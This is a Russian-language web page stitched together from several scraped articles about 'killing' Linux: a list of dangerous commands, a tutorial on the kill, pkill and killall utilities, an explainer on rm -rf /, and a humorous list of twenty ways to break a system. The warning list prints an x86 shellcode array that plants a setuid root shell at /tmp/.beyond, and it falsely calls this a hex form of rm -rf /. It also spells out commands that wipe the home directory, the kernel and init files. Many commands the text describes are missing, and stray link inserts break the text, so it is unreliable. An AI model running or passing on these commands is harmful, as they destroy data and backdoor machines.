Как уничтожить линукс через терминал

Содержание
  1. Смертельные команды в Linux. Убиваем Linux через терминал
  2. Как убить процесс Linux
  3. Как происходит завершение процесса?
  4. Как убить процесс Linux?
  5. Как завершить процесс с помощью pkill
  6. Как остановить процесс с помощью killall
  7. Выводы
  8. Как уничтожить Linux одной командой. Команда rm —rf /
  9. Видео: выполнение команды rm -rf / на реальной системе Linux
  10. 20 способов убить Linux
  11. 1. Переполните файловую систему
  12. 2. Переустановите Windows
  13. 3. Переполните память
  14. 4. Следуйте инструкциям на форумах
  15. 5. Установите еще один Linux
  16. 6. Обновляйтесь как можно реже
  17. 7. Обновляйтесь вслепую
  18. 8. Используйте тестовое программное обеспечение
  19. 9. Сотрите /home
  20. 10. Потеряйте пароль
  21. 11. Установите новое ядро
  22. 12. Попробуйте перейти на PulseAudio
  23. 13. Установите пакеты от другого дистрибутива
  24. 14. Запустите форк бомбу
  25. 15. Переустановите Linux
  26. 16. Отключите раздел подкачки
  27. 17. Установка из исходных текстов
  28. 18. Потеряйте его
  29. 19. Относитесь к нему как к Windows
  30. 20. Пролейте на него кофе

Смертельные команды в Linux. Убиваем Linux через терминал

Если вы новичок в Linux, скорей всего вы встретите какого-нибудь «шутника» на фоуме или в чате, который подсунет вам какие-нибудь команды, которые могут испорить ваши файлы или даже целую систему.

Чтобы избежать этого, вот список опасных команд, от которых лучше держаться подальше:

Эта команда рекурсивно и насильно удалит все файлы в корневой директории.

char esp[] _attribute_ ((section(«.text»))) /* e.s.p
release */
= «\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68»
«\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99»
«\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7»
«\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56»
«\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31»
«\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69»
«\x6e\x2f\x73\x68\x00\x2d\x63\x00»
«cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;»;

Это шестнадцатиричная версия [rm -rf /], которая может сбить с толку даже продвинутых линуксоидов.

Эта команда уничтожит все файлы данного устройства.

Знаменитая форк-бомба, эта команда рекурсивно вызывает себя и пожирает системные процессы до тех пор, пока не закончатся все ресурсы. Это часто приводит к потере данных.

Эта команда записывает необработанные данные прямо в блоковые файлы(block special files), что может разрушить файловую систему.

Никогда ничего не вытягивайте и не запускайте из недостоверных источников.

/* /dev/null
mv /home/yourhomedirectory/* /dev/null

Эта команда отправит содержимое домашнего каталога в черную дыру; больше вы никогда не увидите этих файлов.

Эта команда заполнит раздел жетского диска рандомными данными

Эта команда сделает изменяемыми все файлы системы.

Удаляет все привилегии доступа всех юзеров кроме root.

Заполняет раздел жесткого диска символами «y».

Удалит ядро, Initrd , и файлы загрузчика (GRUB/LILO), необходимые для загрузки системы.

rm /boot/vmlinux
rm /boot/vmlinuz
rm /boot/vmlinux*
rm /boot/vmlinuz*

Удалит файлы ядра

rm /bin/init
cd / ; find -iname init -exec rm -rf <> \;

Удалит все файлы, содержащие в названии ‘init’, включая /sbin/init.

Существуют и другие опасные команды, если вы вспомните еще что-то, оставьте в комментариях 🙂

Источник

Как убить процесс Linux

Несмотря на то что Linux стабильнее чем Windows, в плане работы программ и различных сервисов, случается всякое и иногда возникает необходимость завершить процесс Linux. Это может понадобиться, если программа завила, когда вы запустили системный сервис в фоне через терминал, а не систему инициализации, а также во многих других случаях, когда убить процесс Linux проще, чем перезагружать всю систему.

В этой статье мы рассмотрим несколько самых распространенных способов завершить процесс Linux. Опишем подробно как происходит остановка процесса и как все сделать правильно.

Как происходит завершение процесса?

Управление процессами в операционной системе Linux осуществляется с помощью сигналов. В том числе и завершение любого процесса. Сигналы передает система, но также их может передавать пользователь с помощью специальных команд или даже сочетаний клавиш в терминале. Когда процессу приходит сигнал о необходимости завершиться, он должен выполнить некоторые подготовительные действия.

Необходимо завершить дочерние процессы, удалить временные файлы, сокеты и так далее. Но в зависимости от сложности ситуации процесс может реагировать не на все сигналы. Рассмотрим основные сигналы, которые используются для завершения процесса:

  • SIGINT — самый безобидный сигнал завершения, означает Interrupt. Он отправляется процессу, запущенному из терминала с помощью сочетания клавиш Ctrl+C. Процесс правильно завершает все свои действия и возвращает управление;
  • SIGQUIT — это еще один сигнал, который отправляется с помощью сочетания клавиш, программе, запущенной в терминале. Он сообщает ей что нужно завершиться и программа может выполнить корректное завершение или проигнорировать сигнал. В отличие от предыдущего, она генерирует дамп памяти. Сочетание клавиш Ctrl+/;
  • SIGHUP — сообщает процессу, что соединение с управляющим терминалом разорвано, отправляется, в основном, системой при разрыве соединения с интернетом;
  • SIGTERM — немедленно завершает процесс, но обрабатывается программой, поэтому позволяет ей завершить дочерние процессы и освободить все ресурсы;
  • SIGKILL — тоже немедленно завершает процесс, но, в отличие от предыдущего варианта, он не передается самому процессу, а обрабатывается ядром. Поэтому ресурсы и дочерние процессы остаются запущенными.
Читайте также:  Создание иконок для папок windows

Важно понимать, что нужно дать процессу возможность завершиться корректно. Желательно, чтобы порты и сокеты были освобождены, закрыты и удаленны временные файлы. Поэтому никогда не передавайте сразу SIGKILL. Передавайте сигналы завершения в последовательности, как они перечислены выше.

Сначала Ctrl+C, если это возможно, затем SIGTERM — он хоть и завершает процесс, но делает эту культурно, и только в крайнем случае SIGKILL. А теперь рассмотрим как убить процесс по pid Linux на практике. Если вы всегда используете SIGKILL, тогда на ум приходит такая картинка:

Как убить процесс Linux?

Для передачи сигналов процессам в Linux используется утилита kill. Ее синтаксис очень прост:

$ kill -сигнал pid_процесса

Сигнал представляет собой один из выше перечисленных сигналов для завершения процесса. По умолчанию, если этот параметр не указан, используется сигнал SIGTERM, что является очень правильно. Также нам нужно указать какой процесс нужно завершить. Для этого используется уникальный идентификатор процесса — PID.

Допустим, у нас выполняется утилита ping. Мы хотим ее завершить с помощью kill. Тогда, сначала мы узнаем ее идентификатор с помощью команды ps:

ps aux | grep ping

В первой строчке отобразится сама утилита ping, а во второй сама программа ps. Берем нужный PID и завершаем процесс с помощью SIGTERM:

kill -TERM 20446

И только если после этой команды процесс продолжил висеть, а это вы можете проверить, выполнив ps. Только теперь можно выполнить SIGKILL:

kill -KILL 20446

Теперь снова проверяем:

Если процесс запущен от суперпользователя, то, естественно, вам нужно использовать sudo. Не всегда удобно уничтожать процесс по его PID, как минимум, потому, что вам этот PID нужно еще узнать. Мы могли бы нагородить сложных конструкций с использованием xargs, чтобы вычислять автоматически pid по имени процесса и сразу же его завершать, но в этом нет необходимости. Уже существуют специальные утилиты.

Как завершить процесс с помощью pkill

Утилита pkill — это оболочка для kill, она ведет себя точно так же, и имеет тот же синтаксис, только в качестве идентификатора процесса ей нужно передать его имя. Утилита сканирует директорию proc и находит PID первого процесса с таким именем, затем отправляет ему SIGTERM. Таким образом, вы можете убить процесс по имени Linux. Например, если мы хотим завершить тот же ping:

Также можно вручную задать тип сигнала:

pkill -TERM ping

Вместо ps, вы можете использовать утилиту pgrep для поиска pid процесса, убедимся что наша программа завершена:

Но если вам программа создала несколько процессов, например, браузер chromium или firefox создают отдельный процесс для каждой из вкладок, то эта утилита мало чем поможет. Тут нужен следующий вариант.

Как остановить процесс с помощью killall

killall работает аналогично двум предыдущим утилитам. Она тоже приминает имя процесса в качестве параметра и ищет его PID в директории /proc. Но эта утилита обнаружит все процессы, с таким именем и завершит их. Например:

Как видите, запущено несколько процессов, осталось остановить процесс Linux с помощью killall:

Команда завершит все запущенные утилиты ping, вы можете убедиться в этом еще раз выполнив pgrep:

Выводы

В этой статье мы рассмотрели как убить процесс Linux. Иногда эта задача может быть очень полезной, но важно понимать, что ее нужно выполнять правильно. Нельзя сказать, что передача SIGKILL вместо SIGTERM очень опасна, но так делать не стоит. Надеюсь, эта информация была полезна для вас.

Источник

Как уничтожить Linux одной командой. Команда rm —rf /

Команда rm -rf / является довольно популярной в узких кругах. Но не потому, что ей постоянно пользуются, а наоборот. Это что-то вроде шутки у заядлых линуксоидов.

Видео: выполнение команды rm -rf / на реальной системе Linux

Все, что вы прочитаете ниже, написано только в информационных целях, не повторяйте этого на своем компьютере.

Команда rm -rf / , выполненная от имени суперпользователя, уничтожит все данные с корневого раздела диска.

Ключ -r используется для того, чтобы выполнять рекурсивный обход всех директорий.
Ключ -f — force — не запрашивать никаких подтверждений.

Если выполнить эту команду в терминале, а именно выполнить:

то появится предупреждение о том, что выполнение команды опасно:

Таким образом программа rm защищает сама себя от плохих действий. Но сразу же сообщает нам, что мы можем использовать ключ —no-preserve-root , чтобы обойти это предупреждение.

Если выполнить команду:

то все данные с корневого раздела диска будут удалены!

Иногда данная команда используется, чтобы «подшутить» над новичками в Linux. Некоторые пользователи на форумах советуют «чайникам» выполнить данную команду, чтобы решить свои проблемы. Чтобы шутка удалась, саму команду иногда маскируют, например, вставляют ее внутрь другой длинной команды, чтобы она не так выделялась.

Читайте также:  Превращаем windows mac os

Процесс работы rm -rf / примерно следующий:

  • Команда выполняется от имени суперпользователя.
  • Копия программы rm загружается в оперативную память.
  • Программа rm начинает удаление всех файлов с корневого раздела /.
  • Во время удаления файлов программа rm в какой-то момент удаляет и саму себя (исполняемый файл программы, файл /bin/rm). Но так как копия программы находится в оперативной памяти, то она продолжает работать, не смотря на то, что исполняемый файл уже удален.
  • Когда удаление файлов завершено, программа rm выгружается из оперативной памяти.
  • На данном этапе в памяти находятся только те программы, которые уже были там до выполнения команды rm (например, ядро, драйвера, окно терминала и так далее).

Очень важный момент, который нужно учитывать. Современные UEFI системы монтируют директорию с прошивками в директорию /sys. Так как rm удаляет все файлы и с примонтированных разделов, то прошивки также будут удалены. Таким образом можно получить не только неработающую систему, но и неработающий компьютер. Будьте внимательны.

Источник

20 способов убить Linux

Linux имеет репутацию надежной и отказоустойчивой системы, и не зря. Но все же существует много способов случайно или намеренно сломать идеально работающую систему.

В этой статье мы рассмотрим самые распространенные ошибки при работе с операционной системой, которые приведут ее в неисправность. Мы собрали целых 20 способов убить Linux. Вы узнаете как убить Linux, большинство из них действительно опасны, и не стоит проверять все это на рабочей системе. Теперь перейдем к списку.

1. Переполните файловую систему

Если файловая система, содержащая, каталог /var или /tmp будет переполнена, системные процессы не смогут создавать свои временные файлы, записывать журналы и взаимодействовать друг с другом. Таким образом, большинство процессов просто зависнет. Это может случиться если вы отвели слишком мало места под корневой раздел, из-за накопления кеша менеджера пакетов, рассылки спама на почтовый сервис или если ваш домашний каталог находится на том же разделе, что и корень, переполнение и поломку Linux могут спровоцировать файлы которые вы загружаете.

2. Переустановите Windows

Это обычная политика Microsoft, установщик Windows не разрешает размещение на жестком диске других операционных систем и их загрузчиков. Поэтому если вы переустановите Windows, она перезапишет загрузчик Grub. Но тем не менее переустанавливать Linux нет необходимости, достаточно только восстановить загрузчик Linux. Вы можете использовать для этого Live CD или USB.

3. Переполните память

4 Гигабайта оперативной памяти может показаться достаточным количеством для нормальной работы. Но это только до того времени, пока вы не начнете делать, что-то нестандартное. например, если вы откройте слишком много вкладок в браузере Chromium, больше 50-ти или попытаетесь открыть в gimp фотографию размером 48 мегапикселей. В этом случае может помочь раздел подкачки. Но компьютер будет работать настолько медленно, что спасет ситуацию только жесткая перезагрузка.

4. Следуйте инструкциям на форумах

Веб-форумы полны полезных инструкций, советов, подсказок и команд, но есть некоторые, которые могут принести серьезный ущерб. Возможно, некоторые из опасных команд были даны с самыми лучшими намерениями или были полезны в определенной ситуации. Особенно опасными могут быть команды, выполняемые с помощью sudo или su. Также и неизвестные команды, значение которых вы не понимаете. Взять даже тот самый лоровский патч, с виду безобидная команда, и кто бы мог подумать что она может принести вред.

5. Установите еще один Linux

Это очень похоже на ситуацию с переустановкой Windows. Большинство дистрибутивов очень хорошо обнаруживают Windows и автоматически настраивают двойную загрузку. Но некоторые до сих пор не замечают другой Linux на жестком диске, так что загрузчик вашего дистрибутива тоже может быть затерт.

6. Обновляйтесь как можно реже

Если оставлять дистрибутив нетронутым в течение нескольких месяцев, а затем установить 300+ обновлений за раз, то с вероятностью 70% что-то сломается. Но если сломается, попробуйте потом найти в чем была проблема. Небольшие и частые обновления — лучший способ держать систему в актуальном состоянии. А редкие обновления один из надежных способов сломать Linux.

7. Обновляйтесь вслепую

Никогда не проверяйте список пакетов, которые будут установлены в новой версии системы. Тогда вы не будете иметь ни малейшего представления что пошло не так, если случится ошибка. Чтобы увидеть какие пакеты будут установлены можно использовать менеджер пакетов, тогда вы будете видеть что изменилось и что пошло не так. Также можно посмотреть журнал менеджера пакетов.

8. Используйте тестовое программное обеспечение

Мы все хотели бы использовать новое программное обеспечение сразу, как только оно появилось, но помните о рисках. Новое программное обеспечение плохо протестированно, и теперь тестирование — это ваша работа. Так что, не обновляйте систему и программы до альфа-версий если вам нужно с ними работать.

Читайте также:  Безопасность windows как очистить журнал защиты

9. Сотрите /home

Конечно, это не убьет Linux, но вы потеряете все настройки и личные файлы. Вот поэтому рекомендуется хранить /home на отдельном разделе, чтобы если что случиться с корневым, вы не потеряли данные. Так вы можете обновлять, устанавливать и переустанавливать системы, а ваши данные останутся целыми.

10. Потеряйте пароль

Потеря пароля пользователя помешает вам получить доступ к интерфейсу настройки, если у вас не настроен автоматический вход в систему. Если все-таки автоматический вход настроен, вы можете использовать компьютер, но не сможете устанавливать и обновлять программное обеспечение и делать какие-либо другие изменения в системе. Но пароль все еще можно сбросить с помощью LiveCD или даже с помощью Grub, если не установлен пароль. Потеря пароля от зашифрованной файловой системы, означает, что вы уже не вернете свои данные.

11. Установите новое ядро

На первый взгляд, это кажется странным, ведь новое ядро должно быть лучше и безопаснее. Но некоторые устройства используют модули, которые не поставляются для нового ядра особенно это касается графических карт и беспроводных адаптеров. Некоторые дистрибутивы переустанавливают их автоматически, если это возможно, в противном же случае вам придется использовать проводную сеть или же загрузится со старым ядром, чтобы установить все нужные драйверы. Конечно, это все легко исправляется если есть старое ядро, но система сразу не запустится.

12. Попробуйте перейти на PulseAudio

Если вы когда-либо сталкивались со сложностью звуковых систем в Linux, то знаете что это значит. Ваша система будет хорошо работать, пока загадочным образом не сломается. Но мы ведь можем иметь четкую и понятную систему звука для Linux, желательно с минимальным количеством слоев.

13. Установите пакеты от другого дистрибутива

Иногда в вашем дистрибутиве нет пакета, который вы хотите, но есть в другом. Не старайтесь использовать чужие пакеты, особенно для системных компонентов. Вы можете попытаться использовать Debian пакеты в Ubuntu, но когда дело дойдет до RPM, могут возникнуть ошибки.

14. Запустите форк бомбу

Форк бомба — это небольшой скрипт, который очень быстро создает столько процессов, сколько сможет, пока компьютер не зависнет. Самый простой ответ на вопрос как сломать Linux. Единственным решением остается отключение питания. Некоторые дистрибутивы способны предотвращать такую атаку путем ограничения количества процессов от одного пользователя. Если хотите попробовать, вот этот код:

15. Переустановите Linux

Переустановка операционной системы решает большинство проблем в WIndows. Сделайте это в Linux и все что вы получите — это потеря ваших настроек и программ, а также шанса обнаружить проблему и найти решение.

Переустановка отдельных пакетов помогает редко, и если это так, источник проблемы, скорее всего, в конфигурационных файлах в вашем домашнем каталоге.

16. Отключите раздел подкачки

Вы можете думать что с современными 6-8 Гигабайт оперативной памяти, которая, как правило, устанавливается в современные ноутбуки вам ничего не грозит. Но некоторые процессы все еще могут использовать подкачку, например, тот же режим гибернации и сна. Также вы можете неожиданно использовать всю оперативную память, поэтому иметь раздел подкачки очень неплохая идея.

17. Установка из исходных текстов

Если вы хотите последнюю версию как-либо программы или самую новую, еще неизвестную программу, установка из исходников может оказаться единственным вариантом. Но будьте очень осторожны, во-первых командой make install вы засоряете систему, поскольку эти установки не контролируются менеджером пакетов. А во-вторых, в каталогах /usr/lib и /usr/loacl/lib могут накопиться несколько версий библиотек и тогда система может начать вести себя странно.

18. Потеряйте его

Linux используется на устройствах, которые с каждым поколением все меньше, мощнее и удобнее, но их легче потерять. Заманчиво хранить все подробности вашей личной жизни, пароли и векторы доступа на смартфоне и нетбуке. Но нужно принимать во внимание, что все это очень легко потерять. Такое событие не сломает само устройство, но его новый владелец будет иметь доступ ко всем вашим данным, так что будьте осторожны.

19. Относитесь к нему как к Windows

Linux и Windows, как операционные системы для рабочего стола могут быть схожи внешне, но они совершенно разные. Попытка исправить ошибки Linux также как и в Windows? это одна из самых распространенных причин проблем у новых пользователей. Если вы новичок в Linux, независимо от того сколько у вас опыта, не стесняйтесь обратиться за советом к сообществу.

20. Пролейте на него кофе

Очень жаль, что операционная система, отлично подходящая для хакеров и программистов, все еще может оказаться беспомощной, перед физическими условиями, будь то вода, чай или животные.

Источник

Оцените статью